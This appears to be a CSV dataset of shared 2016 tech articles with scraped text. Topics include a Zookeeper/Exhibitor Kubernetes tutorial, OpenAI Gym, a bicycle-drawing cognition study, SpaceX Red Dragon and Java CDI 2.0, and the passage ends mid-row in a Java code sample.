1461796291,CONTENT SHARED,4437902912817080687,-1032019229384696495,-2767767474126851917,,,,HTML,https://cloudplatform.googleblog.com/2016/04/taming-the-herd-using-Zookeeper-and-Exhibitor-on-Google-Container-Engine.html,Taming the herd: using Zookeeper and Exhibitor on Google Container Engine,"Zookeeper is the cornerstone of many distributed systems, maintaining configuration information, naming and providing distributed synchronization and group services. But using Zookeeper in a dynamic cloud environment can be challenging, because of the way it keeps track of members in the cluster. Luckily, there's an open source package called Exhibitor that makes it simple to use Zookeeper with Google Container Engine . With Zookeeper, it's easy to implement the primitives for coordinating hosts, such as locking and leader election. To provide these features in a highly available manner, Zookeeper uses a clustering mechanism that requires a majority of the cluster members to acknowledge a change before the cluster's state is committed. In a cloud environment, however, Zookeeper machines come and go from the cluster (or ""ensemble"" in Zookeeper terms), changing names and IP addresses, and losing state about the ensemble. These sorts of ephemeral cloud instances are not well suited to Zookeeper, which requires all hosts to know the addresses or hostnames of the other hosts in the ensemble. Netflix tackled this issue, and in order to more easily configure, operate, and debug Zookeeper in cloud environments, created Exhibitor , a supervisor process that coordinates the configuration and execution of Zookeeper processes across many hosts. Exhibitor also provides the following features for Zookeeper operators and users: Backup and restore A lightweight GUI for Zookeeper nodes A REST API for getting the state of the Zookeeper ensemble Rolling updates of configuration changes Let's take a look at using Exhibitor in Container Engine in order to run Zookeeper as a shared service for our other applications running in a Kubernetes cluster. To start, provision a shared file server to host the shared configuration file between your cluster hosts. The easiest way to get a file server up and running in Google Cloud Platform is to create a Single Node File Server using Google Cloud Launcher . For horizontally scalable and highly available shared filesystem options on Cloud Platform, have a look at Red Hat Gluster Storage and Avere . The resulting file server will expose both NFS and SMB file shares. Provision your file server Select the Cloud Platform project in which you'd like to launch it Choose the following parameters for the dimensions of your file server Zone - must match the zone of your Container Engine cluster (to be provisioned later) Machine type - for this tutorial we chose a n1-standard-1 as throughput will not be very high for our hosted files Storage disk size - for this tutorial, we chose a 100GB disk as we will not need high throughput nor IOPS Click Deploy Next, create a Container Engine cluster in which to deploy your Zookeeper ensemble. Create a new Kubernetes cluster using Google Container Engine Ensure that the zone setting is the same as you use to deploy your file server (for the purposes of this tutorial, leave the defaults for the other settings) Click Create Once your cluster is created, open up the Cloud Shell in the Cloud Console by clicking the button in the top right of the interface. It looks like: Now set up your Zookeeper ensemble in Kubernetes. Set the default zone for the gcloud CLI to the zone you created for your file server and Kubernetes cluster: gcloud config set compute/zone us-east1-d Download your Kubernetes credentials via the Cloud SDK : gcloud container clusters get-credentials cluster-1 Create a file named exhibitor.yaml with the following content. This will define our Exhibitor deployment as well as the service that other applications can use to communicate with it: apiVersion: extensions/v1beta1 kind: Deployment metadata: name: exhibitor spec: replicas: 3 template: metadata: labels: name: exhibitor spec: containers: - image: mbabineau/zookeeper-exhibitor imagePullPolicy: Always name: exhibitor volumeMounts: - name: nfs mountPath: ""/opt/zookeeper/local_configs"" livenessProbe: tcpSocket: port: 8181 initialDelaySeconds: 60 timeoutSeconds: 1 readinessProbe: httpGet: path: /exhibitor/v1/cluster/4ltr/ruok port: 8181 initialDelaySeconds: 120 timeoutSeconds: 1 env: - name: HOSTNAME valueFrom: fieldRef: fieldPath: status.podIP volumes: - name: nfs nfs: server: singlefs-1-vm path: /data --- apiVersion: v1 kind: Service metadata: name: exhibitor labels: name: exhibitor spec: ports: - port: 2181 protocol: TCP name: zk - port: 8181 protocol: TCP name: api selector: name: exhibitor In this manifest we're configuring the NFS volume to be attached on each of the pods and mounted in the folder where Exhibitor expects to find its shared configuration. Create the artifacts in that manifest with the kubectl CLI kubectl apply -f exhibitor.yaml Monitor the pods until they all enter the RUNNING state kubectl get pods -w Run the kubectl proxy command so that you can access the Exhibitor REST API for the Zookeeper state: kubectl proxy & Query the Exhibitor API using curl , then use jq to format the JSON response to be more human-readable export PROXY_URL= export EXHIBITOR_URL=${PROXY_URL}namespaces/default/services/exhibitor:8181 export STATUS_URL=${EXHIBITOR_URL}/exhibitor/v1/cluster/status export STATUS=`curl -s $STATUS_URL` echo $STATUS | jq '.[] | {hostname: .hostname, leader: .isLeader}' After a few minutes, the cluster state will have settled and elected a stable leader. You have now completed the tutorial and can use your Exhibitor/Zookeeper cluster just like any other Kubernetes service, by accessing its exposed ports (2181 for Zookeeper and 8181 for Exhibitor) and addressing it via its DNS name , or by using environment variables . In order to access the Exhibitor web UI, run the kubectl proxy command on a machine with a browser, then visit this page . To scale up your cluster size, simply edit the exhibitor.yaml file and change the replicas to an odd number greater than 3 (e.g., 5), then run ""kubectl apply -f exhibitor.yaml"" again. Cause havoc in the cluster by killing pods and nodes in order to see how it responds to failures.",en
1461801056,CONTENT SHARED,-7908990633460844158,3609194402293569455,7314514655634379590,,,,HTML,http://googlediscovery.com/2016/04/27/google-anuncia-mode-pulseiras-com-tecnologia-snap-and-swap-para-android-wear/,"Google anuncia MODE, pulseiras com tecnologia snap-and-swap para Android Wear | Google Discovery","Por meio da Google Store nos EUA, o buscador deu início a venda de pulseiras ""descoladas"" para Android Wear que funcionam com a tecnologia snap-and-swap - um padrão da indústria que vem sendo adotado nos mais recentes relógios com o sistema operacional do Google. Para que as pulseiras sejam fáceis de serem trocadas, há um ""interruptor"" na parte inferior que permite facilmente abrir e fechar o sistema de travamento. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1461802482,CONTENT SHARED,408569329455206654,-1443636648652872475,-958024642276979414,,,,HTML,http://www.businessinsider.com/signaloud-gloves-translate-sign-language-2016-4,These gloves can convert sign language into spoken English,"Two students from the University of Washington have invented gloves that can translate sign language into text or speech. Their invention has earned them a $10,000 Lemelson-MIT Student Prize . Produced by Will Wei . Video courtesy of Lemelson-MIT Program . Photos courtesy of Conrado Tapado/Univ. of Washington, CoMotion .",en
1461824840,CONTENT SHARED,9091641298512813712,-1443636648652872475,-958024642276979414,,,,HTML,https://openai.com/blog/openai-gym-beta/,OpenAI,"We're releasing the public beta of OpenAI Gym , a toolkit for developing and comparing reinforcement learning (RL) algorithms. It consists of a growing suite of environments (from simulated robots to Atari games), and a site for comparing and reproducing results. OpenAI Gym is compatible with algorithms written in any framework, such as Tensorflow and Theano . The environments are written in Python, but we'll soon make them easy to use from any language. We originally built OpenAI Gym as a tool to accelerate our own RL research. We hope it will be just as useful for the broader community. Getting started If you'd like to dive in right away, you can work through our tutorial . You can also help out while learning by reproducing a result . Why RL? Reinforcement learning (RL) is the subfield of machine learning concerned with decision making and motor control. It studies how an agent can learn how to achieve goals in a complex, uncertain environment. It's exciting for two reasons: RL is very general, encompassing all problems that involve making a sequence of decisions: for example, controlling a robot's motors so that it's able to run and jump , making business decisions like pricing and inventory management, or playing video games and board games . RL can even be applied to supervised learning problems with sequential or structured outputs. RL algorithms have started to achieve good results in many difficult environments. RL has a long history, but until recent advances in deep learning, it required lots of problem-specific engineering. DeepMind's Atari results , BRETT from Pieter Abbeel's group, and AlphaGo all used deep RL algorithms which did not make too many assumptions about their environment, and thus can be applied in other settings. However, RL research is also slowed down by two factors: The need for better benchmarks. In supervised learning, progress has been driven by large labeled datasets like ImageNet . In RL, the closest equivalent would be a large and diverse collection of environments. However, the existing open-source collections of RL environments don't have enough variety, and they are often difficult to even set up and use. Lack of standardization of environments used in publications. Subtle differences in the problem definition, such as the reward function or the set of actions, can drastically alter a task's difficulty. This issue makes it difficult to reproduce published research and compare results from different papers. OpenAI Gym is an attempt to fix both problems. The Environments OpenAI Gym provides a diverse suite of environments that range from easy to difficult and involve many different kinds of data. We're starting out with the following collections: Classic control and toy text : complete small-scale tasks, mostly from the RL literature. They're here to get you started. Algorithmic : perform computations such as adding multi-digit numbers and reversing sequences. One might object that these tasks are easy for a computer. The challenge is to learn these algorithms purely from examples. These tasks have the nice property that it's easy to vary the difficulty by varying the sequence length. Atari : play classic Atari games. We've integrated the Arcade Learning Environment (which has had a big impact on reinforcement learning research) in an easy-to-install form. Board games : play Go on 9x9 and 19x19 boards. Two-player games are fundamentally different than the other settings we've included, because there is an adversary playing against you. In our initial release, there is a fixed opponent provided by Pachi , and we may add other opponents later (patches welcome!). We'll also likely expand OpenAI Gym to have first-class support for multi-player games. 2D and 3D robots : control a robot in simulation. These tasks use the MuJoCo physics engine, which was designed for fast and accurate robot simulation. Included are some environments from a recent benchmark by UC Berkeley researchers (who incidentally will be joining us this summer). MuJoCo is proprietary software, but offers free trial licenses. Over time, we plan to greatly expand this collection of environments. Contributions from the community are more than welcome. Each environment has a version number (such as Hopper-v0 ). If we need to change an environment, we'll bump the version number, defining an entirely new task. This ensures that results on a particular environment are always comparable. Evaluations We've made it easy to upload results to OpenAI Gym. However, we've opted not to create traditional leaderboards. What matters for research isn't your score (it's possible to overfit or hand-craft solutions to particular tasks), but instead the generality of your technique. We're starting out by maintaing a curated list of contributions that say something interesting about algorithmic capabilities. Long-term, we want this curation to be a community effort rather than something owned by us. We'll necessarily have to figure out the details over time, and we'd would love your help in doing so. We want OpenAI Gym to be a community effort from the beginning. We've starting working with partners to put together resources around OpenAI Gym: During the public beta, we're looking for feedback on how to make this into an even better tool for research. If you'd like to help, you can try your hand at improving the state-of-the-art on each environment, reproducing other people's results, or even implementing your own environments. Also please join us in the community chat !",en
1461842382,CONTENT SHARED,-1852324383183073754,-2979881261169775358,7934012616444916415,,,,HTML,https://blog.bitpay.com/load-your-steam-wallet-using-bitcoin/,Load Your Steam Wallet Using Bitcoin,"Today we're announcing a new payment integration with software and gaming giant Valve which will bring bitcoin payments to Steam gamers worldwide. Founded in 1996, Valve's Steam platform is used by more than 89 million gamers. Steam reaches 237 countries, and its more than 9,000 different games include popular titles like Counter-Strike: Global Offensive, Civilization V, XCOM 2, and Fallout 4. Many of the award-winning titles were produced in-house at Valve, including Left 4 Dead, Half-Life, and Portal. Valve reached out to us because they were looking for a fast, international payment method for Steam users in emerging gaming markets in countries like India, China, and Brazil. While more users are coming online in in these countries, traditional payment options like credit cards often aren't available. As the internet's universal currency, Bitcoin will allow Steam to easily reach gamers in every market around the world - without the high fees or the risk of chargeback fraud that come with card payments. Whether they're hardcore gamers or first-time players, Steam's players deserve a faster, safer payment method. With Steam's bitcoin integration, customers be able to use any bitcoin wallet to scan, pay, and get back to gaming in seconds without having to provide sensitive financial information. Bitcoin has a bright future in gaming. We look forward to partnering with more gaming platforms to make bitcoin the most popular payment method for the world's gamers. Ready to get started? Go buy yourself a game with bitcoin .",en
1461842900,CONTENT SHARED,3705075652854270482,-2979881261169775358,7934012616444916415,,,,HTML,https://www.liverpool.ac.uk/~rlawson/cycleweb.html,The Science of Cycology,"'As we know, there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns - the ones we don't know we don't know.' Donald Rumsfeld, United States Secretary of Defense, 2003. I work as a cognitive psychologist at the University of Liverpool and I investigate how we recognise everyday objects in our world. Recent research indicates that we may be deluded into thinking that we know more about objects in our world than we really do. Kevin O'Regan has suggested that we may use the world as an ""outside memory"" to save us from having to store huge amounts of information. Since this information can usually be found simply by moving our eyes, we do not need to retrieve it from our brains. In 2002, Leonid Rozenblit and Frank Keil argued that, in particular, we overestimate our ability to explain how things work - whether artefacts like greenhouses and bicycles, or natural phenomena like tides and rainbows. They suggested that this illusion of explanatory depth is especially severe for objects with visible parts. Rozenblit and Keil's conclusions were based only on people's self-ratings of the quality of their explanations. I wanted to extend their work to measure how accurate people's explanations really are, to see how well people understand how everyday objects work. The bicycle is an obvious choice to test this. Firstly, bicycles are familiar objects even for non-cyclists. I have given the test to over 200 students and parents coming to Open Days at the University. Over 96% had learnt to cycle as children with a further 1.5% learning as adults and less than 3% never having learned. Also 52% of this group owned a bicycle. Sadly, the figures on actual cycling were low, with just 1% cycling most days, 4% cycling around once a week and 9% cycling about once a month. The vast majority either never cycle (52%) or rarely do so (33%). Nevertheless, even for these non-cyclists, bicycles are a common sight. Secondly, if Rozenblit and Keil are correct, people should greatly over-estimate their understanding of how bicycles work because bicycle parts are visible and they seem to be simple, mechanical devices. I first asked people to draw a bicycle and I then asked them to select which of four alternatives were correct for the frame, the pedals and the chain, see Figure 1. I used the multiple choice test to check that errors that people made were not just due to problems with drawing or in my judgement of the accuracy of their drawings, see Figure 2. I looked at three types of errors which would severely impair the functioning of a bicycle (see Figure 3 for examples of all three): 1. drawing the frame joining the front and back wheels (making steering impossible) 2. not placing the pedals between the wheels and inside the chain (the pedals were sometimes drawn attached to the front wheel, the back wheel or dangling off the cross-bar) 3. not putting the chain around the pedals and the back wheel (these errors were almost all because people drew the chain looping around both the front and the back wheel of the bicycle) The errors could be made on the drawing or on the multiple choice test. Generally, people made somewhat fewer errors on the multiple choice test than the drawings for pedals and chains, so cueing them with pictures of the alternative possibilities helped them a little. The increase in frame errors for the multiple choice question is an artefact; many people were so unsure of where the frame went in the drawing that they missed it out altogether. I did not code these frame omissions in the drawings as errors. Experiment 1 - non-cyclists For the first group of 64 non-cyclists that I tested, many errors were made, specifically: People made lots of fundamental mistakes. For example, over one third thought that the bicycle chain runs around the front as well as the back wheel of the bicycle. The data can seem rather dry, so here are some comments that people made: ""I think context matters, I know a bike when I see it but it's different to recall (it) when sat in a room""; ""Thinking about it in more detail, I realised I had no idea about its structure""; ""I can't believe I found it so difficult to remember what a bike frame looks like!!!""; ""I thought I knew more about the workings than I actually did""; ""It's hard to picture a bicycle when you have to""; ""I did not think long enough about the front wheel turning"" and finally ""I never knew how little I knew about things until I had to draw them"". Experiment 2 - non-cyclists with function hint I was concerned that people might have made lots of errors in the first experiment because they were concentrating on trying to produce good-looking drawings of bicycles rather than trying to draw functionally viable bicycles. To address this, in the second experiment, before they started the Draw-A-Bicycle test, I gave them a heavy and rather patronising hint about what the task was about. I told them: ""I am not interested in your drawing ability. It does not matter if your lines are wobbly or whatever. What I am interested in is what you know about how bicycles work. I want to make you think about what the pedals of the bike do .... and what the chain of the bike does ... and why the frame of the bike is a particular shape ... and how you steer a bike. So I want you to think about how a bike works before you draw in the parts"". In a group of 94 non-cyclists I found: Compared to Experiment 1, giving a function hint did not reduce errors at all in Experiment 2. Experiment 3 - cyclists In the first two studies I found that non-cyclists made many fundamental mistakes when showing how bicycles worked, even when I gave them strong hints about what was important in the task in the second experiment. Would regular cyclists have a good, functional knowledge of how bicycles worked? I tested 31 cyclists at the Merseyside Cycle Campaign's Annual General Meeting and another 34 cyclists thanks to the Liverpool Wheelers, Cambridge University Caving Club and a few other random souls. These cyclists showed - hurrah - much reduced errors on the task. However even cyclists were not perfect: Experiment 4 - non-cyclists with a real bicycle to look at At the start of this article I mentioned O'Regan's suggestion that we could use the world as an outside memory. Developing this idea, I wondered how well non-cyclists would do if I showed them an actual bicycle whilst they did the study. I tested 58 people and, yes, these non-cyclists were now at least as good as cyclists, supporting O'Regan's argument: This study also shows that the errors made by non-cyclists in the first two experiments were not due to them being unable to draw bicycles or not trying to do well. Non-cyclists can succeed at the task but only if they are helped by being given a bicycle to look at. Interestingly, people's comments suggested that they sometimes misinterpreted their success at the task as being due to their stored knowledge about bicycles. They said things like ""I realised I knew more about bicycles than I thought"". However others realised that they were helped by being shown a real bicycle that they could copy. They commented ""looking at the bike made it easier to remember how it worked"" and ""I have never had to consider this problem. Helped by looking at the bicycle"". I am still collecting data on the Draw-A-Bicycle task but what do the results suggest so far? It seems that many people have virtually no understanding of how bicycles work. This is despite bicycles being highly familiar and most people having learnt how to ride one. Most people know that turning the pedals drives one or both of the bicycle wheels forward, but they probably understand little more than this. People's performance improves - but is still not perfect - if they either have increased experience with bicycles (in Experiment 3, testing cyclists) or if they are shown a bicycle that they can copy (in Experiment 4). I had hoped to look at whether cyclists made fewer errors because they had seen and used bicycles more (so gaining perceptual and motor experience) or whether it was time spent repairing bicycles that helped them (an increased functional experience). Unfortunately I did not have enough data to look at these two effects separately - most people who cycle a lot also do at least basic bicycle repairs; likewise most people who repair bicycles also cycle fairly often. As far as cognitive psychology is concerned, though, the main finding of interest is how sketchy and shallow most people's understanding of bicycles is. Frank Keil argues that this minimal, superficial understanding is actually beneficial. It lets us efficiently interpret the world and make accurate, causal predictions without overburdening the limited processing and storage resources of our brain. We will almost always be able to just look at a bicycle whenever we need to know how it works. Why, then, should we bother trying to learn this information before we need it and then having the problem of needing to store this understanding in our limited-capacity memory system? One last thing: unexpected sex effects. One finding that I was not looking for jumped out from the data. There were huge sex differences with females making many more errors than males. First, combining all the data from the first three experiments for people who said they never or rarely cycled, errors for these non-cyclists were: Thus, at least for frame and chain errors, females make around twice as many errors as males. It could be argued that this is still a matter of experience. It is likely that boys cycle more than girls so many males who currently rarely cycle may have, over their lifetime, seen and used more bicycles than females. However the sex difference is even more extreme for those who claim to cycle around once a month, once a week or most days. Errors for these cyclists were: From these results it seems unlikely that the sex difference is just down to a greater experience with bicycles for males. Not only do male non-cyclists make fewer errors than female non-cyclists, they also make fewer errors than female cyclists; whilst male cyclists make almost no errors. Why? It might be that men generally have a better functional understanding of objects. To look at this, I have tried similar tests as the Draw-A-Bicycle test with objects such as rowing boats and cranes. However here I have found no clear sex differences. Let me know if you have any other suggestions that I could try testing. I will be writing this up as a (dull!) academic paper. If you would be interested in seeing this, email me and I will send you a copy of that when it is ready. Thanks once again to those of you who did the test for me. Do email if you have any queries or suggestions about this work. I am particularly interested in any ideas why so many people think that the chain goes around the front as well as the back wheel. My email address is: rlawson -at- liv.ac.uk",en
1461842927,CONTENT SHARED,-1549326815285717811,-1443636648652872475,-958024642276979414,,,,HTML,https://medium.com/@mrogati/machine-learning-ai-and-the-emperors-vest-32b7bdd99b58,"Machine Learning, AI, and the Emperor's Vest","Machine Learning, AI, and the Emperor's Vest Those of us who work in data science and artificial intelligence have a love/hate relationship with hype. We're excited by self-driving cars, machines understanding complex images, and computers beating humans at Go (if not StarCraft). On the other hand, we've heard stories of the last 'AI winter' and we fear that hype (and the inevitable trough of disillusionment that follows) is setting us up for another one. We know machine learning is math, not magic , and we don't want to be left holding the bag when someone declares that the AI emperor has no clothes. As always, the truth is more nuanced. It's not that the AI emperor has no clothes; he's just wearing a vest. A practical, warm, rugged vest full of proven technology with concrete applications. This is a good thing - just like AI, a vest is a lot more useful than the bejeweled imperial garb we pretend to see when talking about building artificial brains. Machine learning researchers and practitioners are justifiably nervous: the mainstream press now talks about ""deep learning"" mimicking the human brain, AI-powered bots stealing everybody's jobs, and AI being a ""new life form that's a potential threat to our survival as a species"". But experts in the field have declared the brain metaphor tenuous at best, and preventing AI from turning evil akin to preventing overpopulation on Mars. They are legitimately concerned with using technology ethically and responsibly, but also resent being cast as the inept, wild-haired scientists unleashing evil into the world (or, even worse, accused of selling AI snake oil). Machine learning is already changing humanity. Much of that change is good - from better spelling correction to personalized medical diagnosis. Some of it is bad: machine learning can unwittingly perpetuate racism, hate and discrimination, mirroring the worst parts of humanity. But we need to stop thinking about AI as magic. What we call machine learning is a collection of mathematical techniques  - albeit advanced enough that they're starting to be indistinguishable from magic. This practical AI vest may not be as exciting as a magical suit. But it serves us well, and while we're working on making the cargo pants we don't have to worry about being sweet summer children caught in the next AI winter with only imaginary clothes on.",en
1461843137,CONTENT SHARED,2990005046938769485,-2979881261169775358,7934012616444916415,,,,HTML,https://www.nasaspaceflight.com/2016/04/spacex-debut-red-dragon-2018-mars-mission/,SpaceX plans to debut Red Dragon with 2018 Mars mission,"April 27, 2016 by Chris Bergin SpaceX has entered into an agreement with NASA for a Dragon mission to Mars, set to take place as early as 2018. Known as ""Red Dragon"", the variant of the Dragon 2 spacecraft will be launched by the Falcon Heavy rocket, ahead of a soft landing on the surface of Mars. The spacecraft will carry a suite of scientific instrumentation as part of the NASA agreement. Red Dragon: SpaceX's Martian ambitions are well known, although this year will finally see an outline of the ambitious roadmap that it hopes will eventually result in a human colony on the Red Planet . SpaceX CEO and Lead Designer Elon Musk is expected to reveal his plans for the Mars Colonial Transporter (MCT) - and associated architecture - this summer at the International Astronautical Conference in Guadalajara, Mexico. Red Dragon was always seen as the first step towards that eventual goal. On Wednesday, SpaceX revealed it had completed the main phase of an agreement with NASA, likely via a Space Act Agreement (SAA), to work together on a mission to Mars. These plans involve the Red Dragon conducting a propulsive landing on Mars , following its launch on a Falcon Heavy from SpaceX's Pad 39A at the Kennedy Space Center (KSC). Previously, Mr. Musk has claimed Dragon 2 has a ""much greater reach"", thanks to the increased performance of the FH, with the rocket expected to conduct a debut launch this year. ""Dragon 2 is capable of transporting scientific payloads to anywhere in the solar system, with a liquid or solid surface, with or without an atmosphere. So Dragon is really a crew transport and science delivery platform,"" Mr. Musk said, speaking after the Dragon 2 vehicle successfully conducted a Pad Abort test under the NASA Commercial Crew Program milestones . ""When boosted on a Falcon Heavy, Dragon can go pretty much anywhere, so we're excited about exploring that possibility."" Utilizing Falcon Heavy , Mr. Musk stated that Dragon will be capable of transporting two to four tons of payload to the surface of the Red Planet, with varying options for other destinations. ""With Dragon launched on a Falcon Heavy, it can go pretty much anywhere in the solar system, because that's a heck of a big rocket,"" he continued. ""Dragon, with the heat shield, parachutes and propulsive landing capability, is able to land on a planet that has higher entry heating, like Mars . It can also land on the Moon , or potentially conduct a Europa mission. "" A successful landing on Mars will help SpaceX demonstrate the technologies needed to land large payloads propulsively on Mars, while providing the role of a scout ship, informing the company's overall Mars colonization architecture and potential landing sites rich in raw materials required for its Mars colony. For NASA, it will also add to its own knowledge base about the Red Planet, ahead of its own proposed missions to Mars in the late 2030s. Red Dragon's soft landing will be conducted via the power of its eight SuperDraco engines . These liquid thrusters reach maximum thrust within approximately 100 milliseconds of the ignition command , and can be throttled to control the trajectory based on real-time measurements from the vehicle's onboard sensors. Last year's Pad Abort test showed the thrusters in action, lofting the Dragon vehicle away from the pad complex, as would be the scenario if a crewed launch was suffering from a major malfunction with the launch vehicle during the final part of the countdown. The SuperDracos can be employed for an abort requirement throughout the ascent phase of a launch, as will be further tested via the upcoming In-Flight abort test. Because the abort system is embedded into the vehicle, as opposed to being discarded during ascent like the traditional tractor LAS, a nominal Dragon mission will allow the spacecraft to utilize the SuperDraco engines for propulsive landings. ""Dragon also has the ability to use those same engines to land propulsively, because if the propellant is not used for an abort, then it is available to be used for landings,"" Mr. Musk said. Those propulsive landings will be eventually employed by the Dragon 2 returning home from missions to the International Space Station (ISS) , but also - as now officially announced - for landings on Mars. NASA is yet to announce the list of scientific instrumentation that will fly on the Red Dragon, although both NASA Ames and NASA's Jet Propulsion Laboratory (JPL) were understood to be involved with the formulation of the agreement as of last year. The landing site is also currently unknown, although previous notes mentioned Jezero and Argyre have been of interest to the NASA side. Images: SpaceX and renders from L2 artist Nathan Koga - The full gallery of Nathan's (SpaceX Dragon to MCT, SLS, Commercial Crew and more) L2 images can be * found here *) (To join L2, click here: ) Share This Article",en
1461846045,CONTENT SHARED,-1123543351704082417,-299809122140089170,-4801183994531605996,,,,HTML,https://channel9.msdn.com/Blogs/somosdevelopers/Xamarin,Xamarin gratuito no Visual Studio (Channel 9),"Com esta ferramenta você pode utilizar apenas a linguagem C# para desenvolver aplicativos para Windows, Android e iOS. Confira o segundo vídeo da série de Xamarin e veja como utilizar o Hockey App e Xamarin Test Cloud. Teste a ferramenta agora mesmo! Se você é um desenvolvedor individual , você pode utilizar o Visual Studio Community grátis , basta fazer o download aqui . Entenda mais sobre esta versão da IDE neste vídeo . Se você deseja utilizar o Visual Studio para a sua empresa , solicite uma avaliação gratuita do Visual Studio Enterprise clicando aqui . Entenda mais sobre o VS Enterprise neste vídeo . Quer saber mais sobre o Visual Studio? Confira todas as versões da ferramenta aqui",pt
1461847928,CONTENT SHARED,-4475938295812802739,2062670502532932588,5845050425535070951,,,,HTML,http://www.infoq.com/br/presentations/java-uma-visao-pragmatica-da-nova-money-api,"Trabalhando com dinheiro no Java, uma visão pragmática da nova money-api","Resumo Dinheiro é certamente o sistema de troca mais popular do mundo. Utilizar o tipo float ou double para realizar operações; classes utilitárias ou até mesmo BigDecimal, pode te levar a tropeçar nos arredondamentos gerando resultados equivocados. Conheça a API que ajudará a resolver os problemas com dinheiro: a JSR 354; suas interfaces, implementações, integrações, suporte ao Java 8, e mais. Minibiografia Desenvolvedor entusiasta do mundo Open Source, praticante de Agile e do desenvolvimento poliglota, JUG Leader do JavaBahia, membro do SouJava. Contribui para o projeto OpenJDK e a plataforma Java SE. Criador do Apache Easy-Cassandra e escritor de artigos para DevMedia, revista Espírito Livre e o portal java.net. Entre os dias 24 e 28 de agosto, o Rio de Janeiro recebeu a oitava edição brasileira do QCon. Organizado pelo InfoQ Brasil e com palestras selecionadas por um comitê independente, esta edição contou com 3 keynotes, 82 palestras e 13 workshops, totalizando 120 horas de conteúdo, levando o QCon Rio ao patamar técnico dos maiores QCons mundiais. Com 12 tracks editoriais, 5 dias de duração e participação de 16 palestrantes internacionais, o QCon Rio 2015 reuniu mais de 500 desenvolvedores, arquitetos e líderes técnicos.",pt
1461848633,CONTENT SHARED,-3428996085514172371,-1032019229384696495,-1941773591979139720,,,,HTML,http://www.cio.com/article/3056910/social-business/facebook-at-work-pushed-to-later-this-year.html,Facebook at Work pushed to 'later this year',"The long wait for Facebook at Work continues. The enterprise version of the world's most popular social network was supposed to be made publicly available last year. However, it's still in closed beta with no clear sign of a release date in sight. Facebook's business product -- which it says will replace or augment email, IM and collaboration app -- was on display at F8 this week but never shown or even mentioned on the big stage. There was a small booth at Facebook's annual conference where attendees could see short canned demonstrations of Facebook at Work, but the product was generally an afterthought amidst the news surrounding bots on Messenger, live video, artificial intelligence, virtual reality and other developments to Facebook's core properties and initiatives. Following F8, the company isn't sticking to any hard deadlines for Facebook at Work. Instead, a company spokeswoman tells CIO.com the product will be ""launching more widely later this year."" Facebook at Work pilot grows by 50 percent in four months About 150 companies have joined the Facebook at Work pilot during the past four months, according to Facebook. That brings the total to roughly 450 companies, ranging from large enterprises like Royal Bank of Scotland that plans to bring 100,000 employees on board by the end of the year to a small group of 1,100 independent realtors and agents in Southern California . ""To provide the best possible user experience, we are constantly working to improve Facebook at Work based on feedback we're receiving from pilot companies,"" the Facebook spokeswoman tells CIO.com. More recent additions to the pilot include all 35,000 employees at Telenor, a Norwegian telecommunications company, and all 85,000 employees at auto parts retailer Canadian Tire, according to Facebook. [ Related: Facebook at Work chief shares details on its new social enterprise tools ] Facebook's enterprise collaboration toolset looks and feels like the app 1.59 billion people use every month with one exception: Each user's network is limited to coworkers. Businesses manage the deployment and determine which employees get access and certain privileges. Facebook at Work will be free at launch, but the company plans to eventually offer a paid version that will charge businesses for additional support, analytics and integration with other enterprise collaboration tools, such as Box, Microsoft Azure, Office 365, Google Apps and Dropbox. Slack soars while the world waits for Facebook at Work Two-year-old team communication app Slack is following a similar business model with its rapidly growing platform and plans to introduce an enterprise version later this year. Almost 30 percent of Slack's 2.3 million daily active users are currently paying $80 to $150 per year, according to figures the company released in February. [ Related: Why Facebook should buy slack to win the enterprise ] Facebook says more than 60,000 businesses are on the waiting list to join the Facebook at Work pilot. It's unclear how many of them are just curious to check it out and how many plan to fully adopt the platform, and perhaps even pay for the more comprehensive version still under development. At F8, Facebook at Work's team handed out swag including a branded tote bag and a silicone card holder that sticks to the back of phones, but the company made no formal announcements about its plans for the enterprise market.",en
1461848951,CONTENT SHARED,4559158557590109105,2062670502532932588,5845050425535070951,,,,HTML,https://otaviojava.wordpress.com/2016/04/28/cdi-2-0/,Novidades do CDI 2.0,"A especificação de injeção de contexto e dependência, o CDI , certamente foi umas das grandes novidades que surgiram com o Java EE 6. Ele funciona basicamente como uma ""cola"" para o Java EE, realizando integrações entre os seus beans, recurso, dentro do servidor de aplicação. Nessa nova versão, o CDI 2.0, que está previsto para junho de 2016 teremos algumas novidades. E esse post tem o objetivo de dar uma visão delas. Vale lembrar como ainda se tem tempo para o lançamento muitas dessas novidades ainda estão sendo discutidas e codificadas. A API foi subdividida, agora é possível utilizar uma pequena parte dela, ao invés, de todo o contexto. Assim, será possível rodar em dispositivos que tem menos memória e processamento, por exemplo, a IoT, plataformas embarcadas e até mesmo no Android . Sim, a ideia é realizar um CDI lite, assim irão o básico de injeção de dependência (definição de bean, @Inject, qualificadores, produtores, evento) até todos os recurso. Melhorias nos eventos: definir ordem para os eventos além de poder lançar eventos de forma assíncrona. O uso de programação orientada a aspecto para melhorar os interceptors e decoradores. Para exemplificar o uso de CDI, será imaginado um simples aplicativo, venda de livros, utilizando apenas o Java SE. O primeiro passo será a criação de um projeto maven e será adicionado a dependência do CDI 2.0, ainda na fase de desenvolvimento, com a sua implementação de referência, o weld. <dependencies> <dependency> <groupId>org.jboss.weld.se</groupId> <artifactId>weld-se-core</artifactId> <version>3.0.0.Alpha15</version> </dependency> </dependencies> Adicionado a dependência, o próximo passo é container do CDI, uma característica interessante é que ele implementa o AutoCloseable, recurso oriundo do Java 7 que permite que a JVM feche o recurso tão logo sai do bloco try. Assim ao executar o código abaixo é possível ver no log o Weld SE container STATIC_INSTANCE shut down . import org.jboss.weld.environment.se.Weld; import javax.enterprise.inject.spi.CDI; public class App { public static void main(String[] args) { try (CDI<object width=""300"" height=""150""> container = new Weld().initialize()) { }}}```É possível fazer as mesmas coisas como no Java EE, assim é possível realizar injeção de dependência apenas com a anotação <code>@Inject</code>.```javapublic class PaymentMethod {public void payment() {System.out.println(""Doing payment"");}}public class Checkout {@Injectprivate PaymentMethod paymentMethod;public void checkout() {System.out.println(""doing checkout "");paymentMethod.payment();}}```Retornando a classe App, é possível iniciar uma classe a partir do container do CDI, nesse exemplo será a classe Checkout. O CDI será responsável por iniciar a classe e injetar todas as suas dependências.```javapublic class App {public static void main(String[] args) {try (CDI container = new Weld().initialize()) {Checkout checkout = 